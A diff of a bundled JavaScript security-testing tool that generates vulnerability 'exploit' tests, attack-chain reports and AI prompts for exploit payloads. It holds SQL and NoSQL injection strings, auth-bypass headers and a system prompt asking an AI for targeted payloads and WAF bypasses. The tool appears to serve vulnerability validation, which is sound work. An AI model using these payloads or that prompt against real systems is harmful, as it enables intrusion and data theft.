targetCode.includes('XMLParser') ||
|
|
2567
|
+
targetCode.includes('parseString');
|
|
2568
|
+
|
|
2569
|
+
// Check for XXE protection
|
|
2570
|
+
const hasProtection = targetCode.includes('noent: false') ||
|
|
2571
|
+
targetCode.includes('NOENT') ||
|
|
2572
|
+
targetCode.includes('disallow-doctype-decl') ||
|
|
2573
|
+
targetCode.includes('external-general-entities');
|
|
2574
|
+
|
|
2575
|
+
// Vulnerable: parses XML without XXE protection
|
|
2576
|
+
if (parsesXml) {
|
|
2577
|
+
expect(hasProtection).toBe(false);
|
|
2578
|
+
}
|
|
2579
|
+
});
|
|
2580
|
+
|
|
2581
|
+
it('exploit: DTD processing enabled', () => {
|
|
2582
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2583
|
+
|
|
2584
|
+
// DTD processing should be disabled
|
|
2585
|
+
const disablesDtd = targetCode.includes('DOCTYPE') &&
|
|
2586
|
+
(targetCode.includes('false') || targetCode.includes('reject'));
|
|
2587
|
+
|
|
2588
|
+
expect(disablesDtd).toBe(false);
|
|
2589
|
+
});
|
|
2590
|
+
});
|
|
2591
|
+
`.trim();
|
|
2592
|
+
}
|
|
2593
|
+
function generateAuthBypassTest(gap, targetCode, language) {
|
|
2594
|
+
const defaultCreds = JSON.stringify(AUTH_BYPASS_PAYLOADS.defaultCreds.slice(0, 3));
|
|
2595
|
+
return `
|
|
2596
|
+
import { describe, it, expect } from 'vitest';
|
|
2597
|
+
|
|
2598
|
+
describe('Auth Bypass Exploit - ${gap.filePath}:${gap.lineStart}', () => {
|
|
2599
|
+
const DEFAULT_CREDENTIALS = ${defaultCreds};
|
|
2600
|
+
|
|
2601
|
+
const BYPASS_HEADERS = [
|
|
2602
|
+
{ 'X-Forwarded-For': '127.0.0.1' },
|
|
2603
|
+
{ 'X-Original-URL': '/admin' },
|
|
2604
|
+
{ 'X-Custom-IP-Authorization': '127.0.0.1' },
|
|
2605
|
+
];
|
|
2606
|
+
|
|
2607
|
+
it('exploit: missing authentication check', () => {
|
|
2608
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2609
|
+
|
|
2610
|
+
// Check for auth middleware/guards
|
|
2611
|
+
const hasAuthCheck = targetCode.includes('isAuthenticated') ||
|
|
2612
|
+
targetCode.includes('requireAuth') ||
|
|
2613
|
+
targetCode.includes('verifyToken') ||
|
|
2614
|
+
targetCode.includes('passport.') ||
|
|
2615
|
+
targetCode.includes('authMiddleware') ||
|
|
2616
|
+
targetCode.includes('session.user');
|
|
2617
|
+
|
|
2618
|
+
// Vulnerable: no authentication check
|
|
2619
|
+
expect(hasAuthCheck).toBe(false);
|
|
2620
|
+
});
|
|
2621
|
+
|
|
2622
|
+
it('exploit: authorization bypass via header injection', () => {
|
|
2623
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2624
|
+
|
|
2625
|
+
// Check if X-Forwarded-For is trusted
|
|
2626
|
+
const trustsForwardedHeaders = targetCode.includes('x-forwarded-for') ||
|
|
2627
|
+
targetCode.includes('X-Forwarded-For') ||
|
|
2628
|
+
targetCode.includes('trust proxy');
|
|
2629
|
+
|
|
2630
|
+
const validatesSource = targetCode.includes('validateIP') ||
|
|
2631
|
+
targetCode.includes('allowedIPs');
|
|
2632
|
+
|
|
2633
|
+
// Vulnerable if trusts headers without validation
|
|
2634
|
+
if (trustsForwardedHeaders) {
|
|
2635
|
+
expect(validatesSource).toBe(false);
|
|
2636
|
+
}
|
|
2637
|
+
});
|
|
2638
|
+
|
|
2639
|
+
it('exploit: JWT algorithm confusion', () => {
|
|
2640
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2641
|
+
|
|
2642
|
+
// Check for JWT handling
|
|
2643
|
+
const handlesJwt = targetCode.includes('jwt.verify') ||
|
|
2644
|
+
targetCode.includes('jsonwebtoken') ||
|
|
2645
|
+
targetCode.includes('jose');
|
|
2646
|
+
|
|
2647
|
+
// Check if algorithm is enforced
|
|
2648
|
+
const enforcesAlgorithm = targetCode.includes('algorithms:') ||
|
|
2649
|
+
targetCode.includes('HS256') ||
|
|
2650
|
+
targetCode.includes('RS256');
|
|
2651
|
+
|
|
2652
|
+
// Vulnerable if JWT used without algorithm enforcement
|
|
2653
|
+
if (handlesJwt) {
|
|
2654
|
+
expect(enforcesAlgorithm).toBe(true);
|
|
2655
|
+
}
|
|
2656
|
+
});
|
|
2657
|
+
});
|
|
2658
|
+
`.trim();
|
|
2659
|
+
}
|
|
2660
|
+
function generateIdorTest(gap, targetCode, language) {
|
|
2661
|
+
return `
|
|
2662
|
+
import { describe, it, expect } from 'vitest';
|
|
2663
|
+
|
|
2664
|
+
describe('IDOR Exploit - ${gap.filePath}:${gap.lineStart}', () => {
|
|
2665
|
+
const ID_PAYLOADS = ['1', '2', '0', '-1', '9999999', '1000000000'];
|
|
2666
|
+
|
|
2667
|
+
it('exploit: direct object reference without ownership check', () => {
|
|
2668
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2669
|
+
|
|
2670
|
+
// Check for ID usage
|
|
2671
|
+
const usesId = targetCode.includes('params.id') ||
|
|
2672
|
+
targetCode.includes('req.params') ||
|
|
2673
|
+
targetCode.includes('userId') ||
|
|
2674
|
+
targetCode.includes('resourceId');
|
|
2675
|
+
|
|
2676
|
+
// Check for ownership validation
|
|
2677
|
+
const checksOwnership = targetCode.includes('user.id ===') ||
|
|
2678
|
+
targetCode.includes('userId ===') ||
|
|
2679
|
+
targetCode.includes('belongsTo') ||
|
|
2680
|
+
targetCode.includes('isOwner') ||
|
|
2681
|
+
targetCode.includes('canAccess');
|
|
2682
|
+
|
|
2683
|
+
// Vulnerable: uses ID without ownership check
|
|
2684
|
+
if (usesId) {
|
|
2685
|
+
expect(checksOwnership).toBe(false);
|
|
2686
|
+
}
|
|
2687
|
+
});
|
|
2688
|
+
|
|
2689
|
+
it('exploit: sequential/predictable IDs', () => {
|
|
2690
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2691
|
+
|
|
2692
|
+
// Check for UUID usage (more secure)
|
|
2693
|
+
const usesUuid = targetCode.includes('uuid') ||
|
|
2694
|
+
targetCode.includes('UUID') ||
|
|
2695
|
+
targetCode.includes('uuidv4');
|
|
2696
|
+
|
|
2697
|
+
// Using sequential IDs is vulnerable
|
|
2698
|
+
expect(usesUuid).toBe(false);
|
|
2699
|
+
});
|
|
2700
|
+
});
|
|
2701
|
+
`.trim();
|
|
2702
|
+
}
|
|
2703
|
+
function generateOpenRedirectTest(gap, targetCode, language) {
|
|
2704
|
+
const payloads = JSON.stringify(OPEN_REDIRECT_PAYLOADS.bypass.slice(0, 5));
|
|
2705
|
+
return `
|
|
2706
|
+
import { describe, it, expect } from 'vitest';
|
|
2707
|
+
|
|
2708
|
+
describe('Open Redirect Exploit - ${gap.filePath}:${gap.lineStart}', () => {
|
|
2709
|
+
const REDIRECT_PAYLOADS = ${payloads};
|
|
2710
|
+
|
|
2711
|
+
it('exploit: unvalidated redirect URL', () => {
|
|
2712
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2713
|
+
|
|
2714
|
+
// Check for redirect
|
|
2715
|
+
const hasRedirect = targetCode.includes('redirect(') ||
|
|
2716
|
+
targetCode.includes('res.redirect') ||
|
|
2717
|
+
targetCode.includes('location.href') ||
|
|
2718
|
+
targetCode.includes('window.location');
|
|
2719
|
+
|
|
2720
|
+
// Check for URL validation
|
|
2721
|
+
const validatesUrl = targetCode.includes('allowedUrls') ||
|
|
2722
|
+
targetCode.includes('whitelist') ||
|
|
2723
|
+
targetCode.includes('startsWith("/")') ||
|
|
2724
|
+
targetCode.includes('isRelative') ||
|
|
2725
|
+
targetCode.includes('isSameDomain');
|
|
2726
|
+
|
|
2727
|
+
// Vulnerable: redirects without validation
|
|
2728
|
+
if (hasRedirect) {
|
|
2729
|
+
expect(validatesUrl).toBe(false);
|
|
2730
|
+
}
|
|
2731
|
+
});
|
|
2732
|
+
|
|
2733
|
+
it('exploit: protocol-relative URL bypass', () => {
|
|
2734
|
+
const targetCode = \`${escapeTemplate(targetCode)}\`;
|
|
2735
|
+
|
|
2736
|
+
// Check if // URLs are blocked
|
|
2737
|
+
const blocksProtocolRelative = targetCode.includes('startsWith("//")') ||
|
|
2738
|
+
targetCode.includes('/^\\\\/\\\\//');
|
|
2739
|
+
|
|
2740
|
+
expect(blocksProtocolRelative).toBe(false);
|
|
2741
|
+
});
|
|
2742
|
+
});
|
|
2743
|
+
`.trim();
|
|
2744
|
+
}
|
|
1990
2745
|
function generateGenericTest(gap, targetCode, language) {
|
|
1991
2746
|
return `
|
|
1992
2747
|
import { describe, it, expect } from 'vitest';
|
|
@@ -2007,6 +2762,7 @@ function escapeTemplate(code) {
|
|
|
2007
2762
|
}
|
|
2008
2763
|
var init_generator = __esm({
|
|
2009
2764
|
"src/execution/generator.ts"() {
|
|
2765
|
+
init_payloads();
|
|
2010
2766
|
}
|
|
2011
2767
|
});
|
|
2012
2768
|
|
|
@@ -2198,17 +2954,489 @@ ${"\u2500".repeat(50)}`);
|
|
|
2198
2954
|
}
|
|
2199
2955
|
});
|
|
2200
2956
|
|
|
2957
|
+
// src/execution/ai-payloads.ts
|
|
2958
|
+
function generatePayloadPrompt(context) {
|
|
2959
|
+
const { gap, code, techStack } = context;
|
|
2960
|
+
return `Analyze this ${gap.categoryId} vulnerability and generate targeted exploit payloads.
|
|
2961
|
+
|
|
2962
|
+
## Vulnerability Type
|
|
2963
|
+
${gap.categoryId}
|
|
2964
|
+
|
|
2965
|
+
## Vulnerable Code
|
|
2966
|
+
\`\`\`${techStack.language}
|
|
2967
|
+
${code}
|
|
2968
|
+
\`\`\`
|
|
2969
|
+
|
|
2970
|
+
## Technology Stack
|
|
2971
|
+
- Language: ${techStack.language}
|
|
2972
|
+
- Framework: ${techStack.framework ?? "unknown"}
|
|
2973
|
+
- Database: ${techStack.database ?? "unknown"}
|
|
2974
|
+
- ORM: ${techStack.orm ?? "unknown"}
|
|
2975
|
+
- Has WAF: ${techStack.hasWaf ? "yes" : "no/unknown"}
|
|
2976
|
+
- Has Escaping: ${techStack.hasEscaping ? "yes" : "no/unknown"}
|
|
2977
|
+
|
|
2978
|
+
## Detection Context
|
|
2979
|
+
- File: ${gap.filePath}
|
|
2980
|
+
- Line: ${gap.lineStart}
|
|
2981
|
+
- Pattern: ${gap.categoryId}
|
|
2982
|
+
|
|
2983
|
+
Generate 3-5 targeted payloads that would exploit THIS SPECIFIC code.
|
|
2984
|
+
Consider the exact variable names, function calls, and data flow shown above.`;
|
|
2985
|
+
}
|
|
2986
|
+
function extractTechStack(code, filePath) {
|
|
2987
|
+
const hints = {
|
|
2988
|
+
language: detectLanguage2(filePath)
|
|
2989
|
+
};
|
|
2990
|
+
if (code.includes("express") || code.includes("app.get") || code.includes("app.post")) {
|
|
2991
|
+
hints.framework = "express";
|
|
2992
|
+
} else if (code.includes("fastify")) {
|
|
2993
|
+
hints.framework = "fastify";
|
|
2994
|
+
} else if (code.includes("django") || code.includes("from django")) {
|
|
2995
|
+
hints.framework = "django";
|
|
2996
|
+
} else if (code.includes("flask") || code.includes("from flask")) {
|
|
2997
|
+
hints.framework = "flask";
|
|
2998
|
+
} else if (code.includes("gin.") || code.includes("fiber.")) {
|
|
2999
|
+
hints.framework = code.includes("gin.") ? "gin" : "fiber";
|
|
3000
|
+
}
|
|
3001
|
+
if (code.includes("postgres") || code.includes("pg.") || code.includes("$1")) {
|
|
3002
|
+
hints.database = "postgres";
|
|
3003
|
+
} else if (code.includes("mysql") || code.includes("?") && code.includes("query")) {
|
|
3004
|
+
hints.database = "mysql";
|
|
3005
|
+
} else if (code.includes("mongodb") || code.includes("mongoose") || code.includes("$where")) {
|
|
3006
|
+
hints.database = "mongodb";
|
|
3007
|
+
} else if (code.includes("sqlite") || code.includes("sqlite3")) {
|
|
3008
|
+
hints.database = "sqlite";
|
|
3009
|
+
}
|
|
3010
|
+
if (code.includes("prisma")) {
|
|
3011
|
+
hints.orm = "prisma";
|
|
3012
|
+
} else if (code.includes("sequelize")) {
|
|
3013
|
+
hints.orm = "sequelize";
|
|
3014
|
+
} else if (code.includes("typeorm") || code.includes("TypeORM")) {
|
|
3015
|
+
hints.orm = "typeorm";
|
|
3016
|
+
} else if (code.includes("sqlalchemy") || code.includes("SQLAlchemy")) {
|
|
3017
|
+
hints.orm = "sqlalchemy";
|
|
3018
|
+
}
|
|
3019
|
+
hints.hasEscaping = code.includes("escape") || code.includes("sanitize") || code.includes("DOMPurify") || code.includes("htmlspecialchars");
|
|
3020
|
+
hints.hasWaf = code.includes("waf") || code.includes("WAF") || code.includes("cloudflare") || code.includes("akamai");
|
|
3021
|
+
return hints;
|
|
3022
|
+
}
|
|
3023
|
+
function detectLanguage2(filePath) {
|
|
3024
|
+
if (filePath.endsWith(".ts") || filePath.endsWith(".tsx")) return "typescript";
|
|
3025
|
+
if (filePath.endsWith(".js") || filePath.endsWith(".jsx")) return "javascript";
|
|
3026
|
+
if (filePath.endsWith(".py")) return "python";
|
|
3027
|
+
if (filePath.endsWith(".go")) return "go";
|
|
3028
|
+
if (filePath.endsWith(".java")) return "java";
|
|
3029
|
+
if (filePath.endsWith(".rb")) return "ruby";
|
|
3030
|
+
if (filePath.endsWith(".php")) return "php";
|
|
3031
|
+
return "unknown";
|
|
3032
|
+
}
|
|
3033
|
+
function parseAiPayloadResponse(response) {
|
|
3034
|
+
try {
|
|
3035
|
+
const jsonMatch = response.match(/\{[\s\S]*"payloads"[\s\S]*\}/);
|
|
3036
|
+
if (!jsonMatch) {
|
|
3037
|
+
return [];
|
|
3038
|
+
}
|
|
3039
|
+
const parsed = JSON.parse(jsonMatch[0]);
|
|
3040
|
+
if (!parsed.payloads || !Array.isArray(parsed.payloads)) {
|
|
3041
|
+
return [];
|
|
3042
|
+
}
|
|
3043
|
+
return parsed.payloads.filter(
|
|
3044
|
+
(p) => typeof p.payload === "string" && typeof p.rationale === "string" && p.payload.length > 0
|
|
3045
|
+
);
|
|
3046
|
+
} catch {
|
|
3047
|
+
return [];
|
|
3048
|
+
}
|
|
3049
|
+
}
|
|
3050
|
+
function combinePayloads(aiPayloads, categoryId, maxTotal = 20) {
|
|
3051
|
+
const aiStrings = aiPayloads.map((p) => p.payload);
|
|
3052
|
+
const basePayloads = getPayloadsForCategory(categoryId);
|
|
3053
|
+
const combined = [.../* @__PURE__ */ new Set([...aiStrings, ...basePayloads])];
|
|
3054
|
+
return combined.slice(0, maxTotal);
|
|
3055
|
+
}
|
|
3056
|
+
function getFallbackPayloads(context, maxPayloads = 10) {
|
|
3057
|
+
const { gap, techStack } = context;
|
|
3058
|
+
const categoryId = gap.categoryId;
|
|
3059
|
+
let payloads = getPayloadsForCategory(categoryId);
|
|
3060
|
+
if (techStack.database === "postgres") {
|
|
3061
|
+
if (categoryId === "sql-injection") {
|
|
3062
|
+
payloads = payloads.concat([
|
|
3063
|
+
"1; SELECT pg_sleep(5)--",
|
|
3064
|
+
"1' OR '1'='1' -- ",
|
|
3065
|
+
"1 UNION SELECT NULL,NULL,version()--"
|
|
3066
|
+
]);
|
|
3067
|
+
}
|
|
3068
|
+
} else if (techStack.database === "mongodb") {
|
|
3069
|
+
if (categoryId === "sql-injection") {
|
|
3070
|
+
payloads = payloads.concat([
|
|
3071
|
+
'{"$gt": ""}',
|
|
3072
|
+
'{"$ne": null}',
|
|
3073
|
+
'{"$regex": ".*"}',
|
|
3074
|
+
'{"$where": "1==1"}'
|
|
3075
|
+
]);
|
|
3076
|
+
}
|
|
3077
|
+
}
|
|
3078
|
+
if (techStack.hasWaf) {
|
|
3079
|
+
payloads = payloads.flatMap((p) => mutatePayload(p, 3));
|
|
3080
|
+
}
|
|
3081
|
+
return [...new Set(payloads)].slice(0, maxPayloads);
|
|
3082
|
+
}
|
|
3083
|
+
var AI_PAYLOAD_SYSTEM_PROMPT;
|
|
3084
|
+
var init_ai_payloads = __esm({
|
|
3085
|
+
"src/execution/ai-payloads.ts"() {
|
|
3086
|
+
init_payloads();
|
|
3087
|
+
AI_PAYLOAD_SYSTEM_PROMPT = `You are an expert penetration tester and security researcher.
|
|
3088
|
+
Your task is to analyze vulnerable code and generate targeted exploit payloads.
|
|
3089
|
+
|
|
3090
|
+
You will receive:
|
|
3091
|
+
1. A code snippet containing a potential vulnerability
|
|
3092
|
+
2. The vulnerability type (SQL injection, XSS, etc.)
|
|
3093
|
+
3. Technology stack information
|
|
3094
|
+
|
|
3095
|
+
Your job is to:
|
|
3096
|
+
1. Analyze the specific implementation
|
|
3097
|
+
2. Identify exactly how the vulnerability can be exploited
|
|
3098
|
+
3. Generate 3-5 targeted payloads that exploit this specific code
|
|
3099
|
+
4. Consider any defenses (escaping, WAF, etc.) and suggest bypasses
|
|
3100
|
+
|
|
3101
|
+
Focus on PRACTICAL exploitation, not theoretical vulnerabilities.
|
|
3102
|
+
Consider:
|
|
3103
|
+
- The exact syntax of the vulnerable code
|
|
3104
|
+
- Variable names and data flow
|
|
3105
|
+
- Framework-specific behaviors
|
|
3106
|
+
- Database/ORM quirks
|
|
3107
|
+
- WAF bypass techniques
|
|
3108
|
+
|
|
3109
|
+
Return payloads in JSON format:
|
|
3110
|
+
{
|
|
3111
|
+
"analysis": "Brief analysis of the vulnerability",
|
|
3112
|
+
"payloads": [
|
|
3113
|
+
{
|
|
3114
|
+
"payload": "the exploit string",
|
|
3115
|
+
"rationale": "why this targets this specific code",
|
|
3116
|
+
"expectedIfVulnerable": "what happens if it works",
|
|
3117
|
+
"expectedIfSafe": "what happens if protected",
|
|
3118
|
+
"confidence": "high|medium|low"
|
|
3119
|
+
}
|
|
3120
|
+
]
|
|
3121
|
+
}`;
|
|
3122
|
+
}
|
|
3123
|
+
});
|
|
3124
|
+
|
|
3125
|
+
// src/execution/chains.ts
|
|
3126
|
+
function identifyChains(gaps) {
|
|
3127
|
+
const chains = [];
|
|
3128
|
+
const gapsByType = groupGapsByType(gaps);
|
|
3129
|
+
for (const pattern of KNOWN_CHAIN_PATTERNS) {
|
|
3130
|
+
const hasAllRequired = pattern.requiredTypes.every(
|
|
3131
|
+
(type) => gapsByType.has(type) && gapsByType.get(type).length > 0
|
|
3132
|
+
);
|
|
3133
|
+
if (!hasAllRequired) continue;
|
|
3134
|
+
const requiredGaps = pattern.requiredTypes.flatMap(
|
|
3135
|
+
(type) => gapsByType.get(type) ?? []
|
|
3136
|
+
);
|
|
3137
|
+
const optionalGaps = pattern.optionalTypes.flatMap(
|
|
3138
|
+
(type) => gapsByType.get(type) ?? []
|
|
3139
|
+
);
|
|
3140
|
+
const steps = requiredGaps.map((gap, idx) => ({
|
|
3141
|
+
order: idx + 1,
|
|
3142
|
+
gap,
|
|
3143
|
+
objective: getStepObjective(gap.categoryId, idx),
|
|
3144
|
+
outputForNext: getOutputForNext(gap.categoryId)
|
|
3145
|
+
}));
|
|
3146
|
+
for (const gap of optionalGaps.slice(0, 2)) {
|
|
3147
|
+
steps.push({
|
|
3148
|
+
order: steps.length + 1,
|
|
3149
|
+
gap,
|
|
3150
|
+
objective: `Enhance attack via ${gap.categoryId}`
|
|
3151
|
+
});
|
|
3152
|
+
}
|
|
3153
|
+
chains.push({
|
|
3154
|
+
id: `chain-${pattern.name.toLowerCase().replace(/ /g, "-")}-${chains.length}`,
|
|
3155
|
+
name: pattern.name,
|
|
3156
|
+
description: pattern.description,
|
|
3157
|
+
severity: pattern.severity,
|
|
3158
|
+
steps,
|
|
3159
|
+
impact: pattern.impact,
|
|
3160
|
+
mitreTechniques: getMitreTechniques(pattern.requiredTypes)
|
|
3161
|
+
});
|
|
3162
|
+
}
|
|
3163
|
+
return chains;
|
|
3164
|
+
}
|
|
3165
|
+
function groupGapsByType(gaps) {
|
|
3166
|
+
const grouped = /* @__PURE__ */ new Map();
|
|
3167
|
+
for (const gap of gaps) {
|
|
3168
|
+
const existing = grouped.get(gap.categoryId) ?? [];
|
|
3169
|
+
existing.push(gap);
|
|
3170
|
+
grouped.set(gap.categoryId, existing);
|
|
3171
|
+
}
|
|
3172
|
+
return grouped;
|
|
3173
|
+
}
|
|
3174
|
+
function getStepObjective(categoryId, stepIndex, pattern) {
|
|
3175
|
+
const objectives = {
|
|
3176
|
+
"xss": ["Inject malicious JavaScript", "Steal session cookies", "Execute actions as victim"],
|
|
3177
|
+
"sql-injection": ["Extract database credentials", "Read sensitive data", "Modify data"],
|
|
3178
|
+
"ssrf": ["Access internal services", "Read cloud metadata", "Scan internal network"],
|
|
3179
|
+
"command-injection": ["Execute arbitrary commands", "Establish persistence", "Exfiltrate data"],
|
|
3180
|
+
"path-traversal": ["Read sensitive files", "Access credentials", "Read source code"],
|
|
3181
|
+
"xxe": ["Read internal files", "Perform SSRF via DTD", "Exfiltrate data"],
|
|
3182
|
+
"idor": ["Access other users' resources", "Escalate privileges", "Mass data access"],
|
|
3183
|
+
"missing-authentication": ["Bypass authentication", "Access protected endpoints", "Gain unauthorized access"],
|
|
3184
|
+
"open-redirect": ["Redirect to malicious site", "Phish credentials", "Chain with XSS"],
|
|
3185
|
+
"deserialization": ["Execute arbitrary code", "Gain RCE", "Compromise server"]
|
|
3186
|
+
};
|
|
3187
|
+
const categoryObjectives = objectives[categoryId] ?? ["Exploit vulnerability"];
|
|
3188
|
+
return categoryObjectives[stepIndex % categoryObjectives.length] ?? categoryObjectives[0] ?? "Exploit vulnerability";
|
|
3189
|
+
}
|
|
3190
|
+
function getOutputForNext(categoryId) {
|
|
3191
|
+
const outputs = {
|
|
3192
|
+
"xss": "Stolen session token or executed JavaScript context",
|
|
3193
|
+
"sql-injection": "Extracted data or modified database state",
|
|
3194
|
+
"ssrf": "Internal service response or cloud credentials",
|
|
3195
|
+
"command-injection": "Command output or shell access",
|
|
3196
|
+
"path-traversal": "File contents or credentials",
|
|
3197
|
+
"xxe": "File contents or internal response",
|
|
3198
|
+
"idor": "Access to unauthorized resource",
|
|
3199
|
+
"missing-authentication": "Unauthenticated access to protected endpoint",
|
|
3200
|
+
"open-redirect": "Victim redirected to attacker-controlled site",
|
|
3201
|
+
"deserialization": "Code execution context"
|
|
3202
|
+
};
|
|
3203
|
+
return outputs[categoryId] ?? "Vulnerability output";
|
|
3204
|
+
}
|
|
3205
|
+
function getMitreTechniques(types) {
|
|
3206
|
+
const techniques = [];
|
|
3207
|
+
for (const type of types) {
|
|
3208
|
+
switch (type) {
|
|
3209
|
+
case "sql-injection":
|
|
3210
|
+
techniques.push("T1190 - Exploit Public-Facing Application");
|
|
3211
|
+
break;
|
|
3212
|
+
case "xss":
|
|
3213
|
+
techniques.push("T1189 - Drive-by Compromise");
|
|
3214
|
+
techniques.push("T1539 - Steal Web Session Cookie");
|
|
3215
|
+
break;
|
|
3216
|
+
case "command-injection":
|
|
3217
|
+
techniques.push("T1059 - Command and Scripting Interpreter");
|
|
3218
|
+
techniques.push("T1190 - Exploit Public-Facing Application");
|
|
3219
|
+
break;
|
|
3220
|
+
case "ssrf":
|
|
3221
|
+
techniques.push("T1199 - Trusted Relationship");
|
|
3222
|
+
techniques.push("T1552.005 - Cloud Instance Metadata API");
|
|
3223
|
+
break;
|
|
3224
|
+
case "path-traversal":
|
|
3225
|
+
techniques.push("T1083 - File and Directory Discovery");
|
|
3226
|
+
break;
|
|
3227
|
+
case "deserialization":
|
|
3228
|
+
techniques.push("T1190 - Exploit Public-Facing Application");
|
|
3229
|
+
techniques.push("T1059 - Command and Scripting Interpreter");
|
|
3230
|
+
break;
|
|
3231
|
+
}
|
|
3232
|
+
}
|
|
3233
|
+
return [...new Set(techniques)];
|
|
3234
|
+
}
|
|
3235
|
+
function generateChainExploitTest(chain) {
|
|
3236
|
+
const stepTests = chain.steps.map((step, idx) => `
|
|
3237
|
+
it('step ${step.order}: ${step.objective}', () => {
|
|
3238
|
+
// Exploit ${step.gap.categoryId} at ${step.gap.filePath}:${step.gap.lineStart}
|
|
3239
|
+
// Objective: ${step.objective}
|
|
3240
|
+
${step.outputForNext ? `// Output for next step: ${step.outputForNext}` : ""}
|
|
3241
|
+
|
|
3242
|
+
// This step would execute the ${step.gap.categoryId} exploit
|
|
3243
|
+
// In a real attack chain, the output feeds into the next step
|
|
3244
|
+
expect(true).toBe(true); // Placeholder - implement actual exploit
|
|
3245
|
+
});`).join("\n");
|
|
3246
|
+
return `
|
|
3247
|
+
import { describe, it, expect } from 'vitest';
|
|
3248
|
+
|
|
3249
|
+
/**
|
|
3250
|
+
* Attack Chain: ${chain.name}
|
|
3251
|
+
* Severity: ${chain.severity.toUpperCase()}
|
|
3252
|
+
*
|
|
3253
|
+
* ${chain.description}
|
|
3254
|
+
*
|
|
3255
|
+
* Impact: ${chain.impact}
|
|
3256
|
+
*
|
|
3257
|
+
* MITRE ATT&CK: ${chain.mitreTechniques?.join(", ") ?? "N/A"}
|
|
3258
|
+
*/
|
|
3259
|
+
describe('Attack Chain: ${chain.name}', () => {
|
|
3260
|
+
${stepTests}
|
|
3261
|
+
|
|
3262
|
+
it('full chain: achieves attack objective', () => {
|
|
3263
|
+
// This test validates the complete attack chain
|
|
3264
|
+
// Each step's output feeds into the next
|
|
3265
|
+
|
|
3266
|
+
// Impact if successful: ${chain.impact}
|
|
3267
|
+
expect(true).toBe(true); // Placeholder - implement chain validation
|
|
3268
|
+
});
|
|
3269
|
+
});
|
|
3270
|
+
`.trim();
|
|
3271
|
+
}
|
|
3272
|
+
function generateChainReport(chains) {
|
|
3273
|
+
if (chains.length === 0) {
|
|
3274
|
+
return "No attack chains identified.\n";
|
|
3275
|
+
}
|
|
3276
|
+
let report = `## Attack Chains Identified
|
|
3277
|
+
|
|
3278
|
+
`;
|
|
3279
|
+
report += `Found ${chains.length} potential attack chain(s) that combine multiple vulnerabilities.
|
|
3280
|
+
|
|
3281
|
+
`;
|
|
3282
|
+
for (const chain of chains) {
|
|
3283
|
+
report += `### ${chain.name}
|
|
3284
|
+
|
|
3285
|
+
`;
|
|
3286
|
+
report += `**Severity:** ${chain.severity.toUpperCase()}
|
|
3287
|
+
|
|
3288
|
+
`;
|
|
3289
|
+
report += `**Description:** ${chain.description}
|
|
3290
|
+
|
|
3291
|
+
`;
|
|
3292
|
+
report += `**Impact:** ${chain.impact}
|
|
3293
|
+
|
|
3294
|
+
`;
|
|
3295
|
+
if (chain.mitreTechniques && chain.mitreTechniques.length > 0) {
|
|
3296
|
+
report += `**MITRE ATT&CK:** ${chain.mitreTechniques.join(", ")}
|
|
3297
|
+
|
|
3298
|
+
`;
|
|
3299
|
+
}
|
|
3300
|
+
report += `**Attack Steps:**
|
|
3301
|
+
|
|
3302
|
+
`;
|
|
3303
|
+
for (const step of chain.steps) {
|
|
3304
|
+
report += `${step.order}. **${step.gap.categoryId}** at \`${step.gap.filePath}:${step.gap.lineStart}\`
|
|
3305
|
+
`;
|
|
3306
|
+
report += ` - Objective: ${step.objective}
|
|
3307
|
+
`;
|
|
3308
|
+
if (step.outputForNext) {
|
|
3309
|
+
report += ` - Provides: ${step.outputForNext}
|
|
3310
|
+
`;
|
|
3311
|
+
}
|
|
3312
|
+
}
|
|
3313
|
+
report += "\n---\n\n";
|
|
3314
|
+
}
|
|
3315
|
+
return report;
|
|
3316
|
+
}
|
|
3317
|
+
var KNOWN_CHAIN_PATTERNS;
|
|
3318
|
+
var init_chains = __esm({
|
|
3319
|
+
"src/execution/chains.ts"() {
|
|
3320
|
+
KNOWN_CHAIN_PATTERNS = [
|
|
3321
|
+
{
|
|
3322
|
+
name: "XSS to Account Takeover",
|
|
3323
|
+
requiredTypes: ["xss"],
|
|
3324
|
+
optionalTypes: ["missing-authentication", "csrf"],
|
|
3325
|
+
severity: "critical",
|
|
3326
|
+
description: "Reflected or stored XSS is used to steal session cookies or JWT tokens, leading to account takeover.",
|
|
3327
|
+
impact: "Complete account takeover, access to user data, ability to perform actions as victim."
|
|
3328
|
+
},
|
|
3329
|
+
{
|
|
3330
|
+
name: "SQL Injection to Data Exfiltration",
|
|
3331
|
+
requiredTypes: ["sql-injection"],
|
|
3332
|
+
optionalTypes: ["path-traversal", "command-injection"],
|
|
3333
|
+
severity: "critical",
|
|
3334
|
+
description: "SQL injection is used to extract sensitive data, potentially chained with file read or RCE.",
|
|
3335
|
+
impact: "Full database access, credential theft, potential remote code execution."
|
|
3336
|
+
},
|
|
3337
|
+
{
|
|
3338
|
+
name: "SSRF to Cloud Credential Theft",
|
|
3339
|
+
requiredTypes: ["ssrf"],
|
|
3340
|
+
optionalTypes: ["path-traversal"],
|
|
3341
|
+
severity: "critical",
|
|
3342
|
+
description: "SSRF is used to access cloud metadata endpoints (169.254.169.254), stealing IAM credentials.",
|
|
3343
|
+
impact: "Cloud infrastructure compromise, lateral movement, data access."
|
|
3344
|
+
},
|
|
3345
|
+
{
|
|
3346
|
+
name: "IDOR to Privilege Escalation",
|
|
3347
|
+
requiredTypes: ["idor"],
|
|
3348
|
+
optionalTypes: ["missing-authentication"],
|
|
3349
|
+
severity: "high",
|
|
3350
|
+
description: "IDOR allows access to admin resources by manipulating object IDs.",
|
|
3351
|
+
impact: "Access to other users' data, potential admin access."
|
|
3352
|
+
},
|
|
3353
|
+
{
|
|
3354
|
+
name: "Open Redirect to Phishing",
|
|
3355
|
+
requiredTypes: ["open-redirect"],
|
|
3356
|
+
optionalTypes: ["xss"],
|
|
3357
|
+
severity: "high",
|
|
3358
|
+
description: "Open redirect is used to redirect victims to malicious sites from trusted domain.",
|
|
3359
|
+
impact: "Credential phishing, malware distribution, reputation damage."
|
|
3360
|
+
},
|
|
3361
|
+
{
|
|
3362
|
+
name: "XXE to Internal Network Access",
|
|
3363
|
+
requiredTypes: ["xxe"],
|
|
3364
|
+
